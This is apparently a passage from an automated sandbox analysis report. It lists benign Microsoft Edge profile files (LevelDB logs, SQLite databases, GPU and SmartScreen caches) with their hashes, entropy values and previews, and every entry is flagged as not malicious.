SHA-512:	79E4DC844613BD0B637D65B2849C140592783FBF6B78018491D7A3E84A177CB7DA15138BE3ACD318BA790B06682A68929E8F52C0349760EF7B624D872C40F083
Malicious:	false
Preview:	7....-...............j..../'\P..............j...6^...?.SQLite format 3......@ ..........................................................................S`............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	232
Entropy (8bit):	5.151526322034894
Encrypted:	false
SSDEEP:	3:VVXntjQPEnjQSDWltG6lhs6lrR6D5WPtKOCG+UI5WPtKOCy2a+MZ4NyN1FMZ4N1H:/XntM+bWltGKct4K7t4KMo3NSF3N1Hn
MD5:	D75B2A6D1A5183AAD0F97E8CC89FAF5C
SHA1:	2F19BD6EA5ABCA483654A4273D3E831161282515
SHA-256:	E9177FD8331DDD1ED6E098316659AF86BC01528F4E9E7818F90312505CDAA61E
SHA-512:	E03C909B5F667E3DBC9DAD1FCCEC40BA5AA79EA0178A8A0274C567BDDC36716E5D8A4026D44CB46BE76EA0D43D430390AFFF564B67430AB06E1CC7E396AE8BAA
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1.i.f.................4_IPH_LiveCaption...IPH_LiveCaption......4_IPH_PasswordsAccountStorage!..IPH_PasswordsAccountStorage......4_IPH_ProfileSwitch...IPH_ProfileSwitch....

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.266894094979478
Encrypted:	false
SSDEEP:	6:iOOQVsJYDhP5c23oH+Tcwtfrl2KLlYQoU3+q2TYDhP5c23oH+TcwtfrK+IFUv:7/lPhYeb1Lzog+vsPhYeb23FUv
MD5:	BC3D82E56D5772211C94CA3F33E47C02
SHA1:	CA27E858B6E424F1386EB7878E911A170B8186B0
SHA-256:	CCF8D6A58534B6B5AC7980469FE03A30ABA4A98AD1C8983BC0D67CD8091CFDCB
SHA-512:	8E573F728CD53A7EBE398CE1E722A5DEB86F9710B22DB4065F11399584B16F32BC4A23B0E292ABB6A00FE4870F3F596CBBD90B74D8DE64E3E03D656C7DAEF9EB
Malicious:	false
Preview:	2025/01/08-10:18:45.877 174c Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db since it was missing..2025/01/08-10:18:45.973 174c Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	526
Entropy (8bit):	3.9128078536884288
Encrypted:	false
SSDEEP:	12:G0nYEQWddZ5ywZdFPEWXZi+5oKAk7blt0:G0nYEQWd35ywZP9i+lA8i
MD5:	38776C76D0EA5547595AA8637B859D98
SHA1:	9C1B8F71FEABF422D2EDFA2EA3EBFF85C108F135
SHA-256:	D36A7D7AEDB2D26AD2E57BF50FF98013F5F568D8F41DA1AC652A8783E20F1D36
SHA-512:	3D4F9BFB9441B3C8EF3EAC4153F3FFCBAF876E51B2DAB29C081A255B574650A35128A6CFE7DAA685323610F4A17832666FE709798D41D59E9323DCF2AFB8B550
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... ..'i..................21_........................21_......ah0.................20_.....'...................20_.......T=.................19_.....*...................18_.....L....................3_.....Z..+.................4_.......w<.................20_.........................20_..........................19_.....}....................18_.......$..................3_.....l.I..................4_........q.................9_......!ig.................9_.....

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.22668047709017
Encrypted:	false
SSDEEP:	6:iOOQwmsJYDhP5c23oH+Tcwtfrzs52KLlYQiY+q2TYDhP5c23oH+TcwtfrzAdIFUv:7/w4PhYebs9Lz1+vsPhYeb9FUv
MD5:	6222673403FE349266D16174A6A52590
SHA1:	480FE83E2ECC487F912B831B9D63042C7316D867
SHA-256:	4BFBC32A77EE702258A0A5699E6A6EA62D87AF70EE07049BCB565EBEBCDCD748
SHA-512:	52DBC9E758926C091258F0FF064EDEB05A14AE3735C6D82FB6F1DBC756FEF3AA2F5810C82986D03345A2C10623AEBC0C06A8B96EAC502FD6F26E225B984D9312
Malicious:	false
Preview:	2025/01/08-10:18:45.659 174c Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata since it was missing..2025/01/08-10:18:45.818 174c Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, writer version 2, read version 2, file counter 2, database pages 1, cookie 0, schema 0, largest root page 1, unknown 0 encoding, version-valid-for 2
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.09255907315217722
Encrypted:	false
SSDEEP:	3:lSWFN3l/klslpL/lvXll:l9F8E1l
MD5:	D0ADE2BC9FC14FB88A095213DAA00A9B
SHA1:	D6615FE9FDF369535907683CF80EABA7F47D9535
SHA-256:	855E259F99088D8E801B79C64C4D332D272B8179765E2B2EA1F305BA58FECB8C
SHA-512:	927A031EB3F940F868B97EBC464106C547548D168057EF414E7CDE4373053A3DD355860D52A14FC0368C23B7589992CD9D4FE59B8E7D7F3E45F1E41F6180BA5B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.13801330818439836
Encrypted:	false
SSDEEP:	3:7FEG2l+txBW9/FllkpMRgSWbNFl/sl+ltlslVFolvXlleC:7+/lpg9bNFlEs1EvoGC
MD5:	55AEE5455F67B38E103207683C048EC6
SHA1:	71374F3DCBAF16F9CC5ED709610CEB1F7C4287A4
SHA-256:	B03D633837D1F6F76F2B10E160A05888D39C60A4A1FA0781528EE6A7E4C6FDB9
SHA-512:	134EBB11E81129173C0C137CE29D4F451A3E34B401AE6C517F28FD45B249207657EC8A7B0BE11DF26C74663162F7E47EB4774DC97585F2DAB0B1A1532E79DDFC
Malicious:	false
Preview:	.... .c.......g.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................S`................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	45352
Entropy (8bit):	0.3934568692408081
Encrypted:	false
SSDEEP:	24:K8C4eFQuzRDmy5Zll7DBtDi4kZERDm9mh/keqt8VtbDBtDi4kZERDmMfF8:stQMHZll7DYMceO8VFDYMpF8
MD5:	05EEA936F022F845C0694823EFA675AF
SHA1:	1177F0A3F4D2822419D64C3ADECEC4A4760EDC4F
SHA-256:	3DABBC1A58342ABCE9A9FDC1570A65FD7DBE99BC4E4E7EA5425A21AA315863CB
SHA-512:	6733BBC6AE65EDB6B980F96692212ECBBF7C496E0699D17CB5A88D9A2A51AB1A4EB688EC24B4A624FF597DE893D1B7C9DC07FDEDAFA4CA9856A2337D8F38046D
Malicious:	false
Preview:	7....-..........D.Y.R._.A.W.@,.........D.Y.R._.V.....<SQLite format 3......@ ..........................................................................S`............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, writer version 2, read version 2, file counter 2, database pages 1, cookie 0, schema 0, largest root page 1, unknown 0 encoding, version-valid-for 2
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.09255907315217722
Encrypted:	false
SSDEEP:	3:lSWFN3l/klslpL/lvXll:l9F8E1l
MD5:	D0ADE2BC9FC14FB88A095213DAA00A9B
SHA1:	D6615FE9FDF369535907683CF80EABA7F47D9535
SHA-256:	855E259F99088D8E801B79C64C4D332D272B8179765E2B2EA1F305BA58FECB8C
SHA-512:	927A031EB3F940F868B97EBC464106C547548D168057EF414E7CDE4373053A3DD355860D52A14FC0368C23B7589992CD9D4FE59B8E7D7F3E45F1E41F6180BA5B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.13801330818439836
Encrypted:	false
SSDEEP:	3:7FEG2l+PmOtsH/FllkpMRgSWbNFl/sl+ltlslVFolvXllPmOn:7+/l4Sg9bNFlEs1EvomO
MD5:	223CDCF3DAB880C53E35BB9C20DFCAA1
SHA1:	76D855147DE07F1FA8F930744E01C38761A6535A
SHA-256:	BDF7E1991327B79660960CF1A8572CD021EA7718E29FEE64ECC62708C20F7890
SHA-512:	1A5D11665193EF8869215334AFF87E431B57E8334C9777D345380E1344816C2A43AB7D52EA7B38D5F1425E953396E961C207C7561FE4C0EFD2432905C765B54B
Malicious:	false
Preview:	.... .c.....4.C+....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................S`................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	45352
Entropy (8bit):	0.393669171339686
Encrypted:	false
SSDEEP:	24:KU4gQuzRDBbgZll7DBtDi4kZERDjXg3eqt8VtbDBtDi4kZERDRp:R1QMpgZll7DYM3weO8VFDYMVp
MD5:	C8EB2486A1080C2CC951D7680791374A
SHA1:	E1F03FDB25BE1BDB9116440CB1814619CAA6D41C
SHA-256:	0C17B10A7BF9A04E78ABBA7234E2D1F25D9DEC8EBA4C8AFCF127E3C39531CDC2
SHA-512:	7509531F0DBFA99CF1F9860296220D4545895A4C95F0727FD0A60BA609DD955A23D8F289566E69AEECC7B9D8EAAF30804F0D28723C175252737C442B3CA73468
Malicious:	false
Preview:	7....-...........S.<,D....V.WLr..........S.<,D..mw.7...$SQLite format 3......@ ..........................................................................S`............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.629307656487099E-4
Encrypted:	false
SSDEEP:	3:LsFl0lAq/:LsFKAq
MD5:	146272C7F90719BF6E66DA21E7E339C7
SHA1:	005B62868BF52CA64C1C6AA42DDA1A89E75FCCDE
SHA-256:	BC69571F2207C9A37D90F3B91BF514DE0B799CEDA9C90F04D6164E423420C1C3
SHA-512:	936BA2D0BD5CC242D90CDE51A087A3DA27BF9166866FFE6440FDA0E7B7D7DEC978E867E089F303937A422E2FD31D0AABE20C51315D33EBA7D2F0EA509BFE7D1F
Malicious:	false
Preview:	........................................Mh=../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	2.59490661824394
Encrypted:	false
SSDEEP:	3:gem3:gL3
MD5:	E60DFE28E77A79CD2CAA4F53BD711995
SHA1:	2A150938498D9778DAF21F87B3E52ABDD4084716
SHA-256:	D5E1FB030857E079A8FD6811C81BF756D23CED9AF5DC299354C88F89B763415E
SHA-512:	B2ED5D4C3EEB946C2C869988E227ACD771614D559E1C108578546AA919E74251B92C7A1241D5E113018AB20A4295BBBCC12B7C520FB1C13DB242EC1B02B74F43
Malicious:	false
Preview:	94.0.992.31

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsFl0l6r:LsFK6
MD5:	0EDF371487E3DF781651A72AC1F52B33
SHA1:	7BB50E557052FBD3FC0CD7CDCC210580B3E555D4
SHA-256:	39C07BD9C7B1EC96A5D23CA1A0275FED6079AE2BBEFE8AF95651663E06925300
SHA-512:	43C38B34B566635A7883D1325BDB8B2D33016B86BE1D351056AF57EBFC8AB62FA67C3F4BA5AE6F670957DC45517DC10D96C48C796B3E7A1FC9F45D0E695DD75C
Malicious:	false
Preview:	............................................./.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\cache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	184
Entropy (8bit):	0.6472473490380266
Encrypted:	false
SSDEEP:	3:s3lt/elaaRH:sVwpH
MD5:	24127606DAC5CC6142848B0387A3AFB6
SHA1:	2DD825CBA2DED5F73DE2F70D3056764788D6B3CD
SHA-256:	7680B8117DCE679EAF37A1C4670506FDA78781CFCD994295B5108DB18FBBC3A8
SHA-512:	0C37B62B580255716371554CD47A1D7AA15A92B5376FF66D42CACF1E2FD95C027E7F8781231C4B0D9CCC17521A94F1E719CFD2307853D6D7D72DD8155BA6868B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	..............@?........................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\download_cache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	184
Entropy (8bit):	0.6472473490380266
Encrypted:	false
SSDEEP:	3:s3lt/elaaRH:sVwpH
MD5:	24127606DAC5CC6142848B0387A3AFB6
SHA1:	2DD825CBA2DED5F73DE2F70D3056764788D6B3CD
SHA-256:	7680B8117DCE679EAF37A1C4670506FDA78781CFCD994295B5108DB18FBBC3A8
SHA-512:	0C37B62B580255716371554CD47A1D7AA15A92B5376FF66D42CACF1E2FD95C027E7F8781231C4B0D9CCC17521A94F1E719CFD2307853D6D7D72DD8155BA6868B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	..............@?........................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\warnStateCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	1.23900521981086
Encrypted:	false
SSDEEP:	3:MlwlaaRX:kwpX
MD5:	3F66F244278461DD07A3FEB77A17712F
SHA1:	8D570B550699AD0F248EC98B5D678F54248C0A84
SHA-256:	203CE5C7C1680C6E98F5CECA920E9D904122A9E26A743191E9B0FE1F6584ED60
SHA-512:	8D4733222E2E0BBC18370055D0602D0389E7A562887E97B2E54073017FFEA024E9B1341ED95E28883861EF5E0D4FA9D27ED0894912FFE167632AED2E4CF53E7D
Malicious:	false
Preview:	H.......0.....@?........................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3251519737725435
Encrypted:	false
SSDEEP:	3:kDnaV6bVqAEdHTdTRrjMwdLUBTiEdCdhHQVCU:kDYaEHTdJ6igmRAX
MD5:	F222079E71469C4D129B335B7C91355E
SHA1:	0056C3003874EFEF229A5875742559C8C59887DC
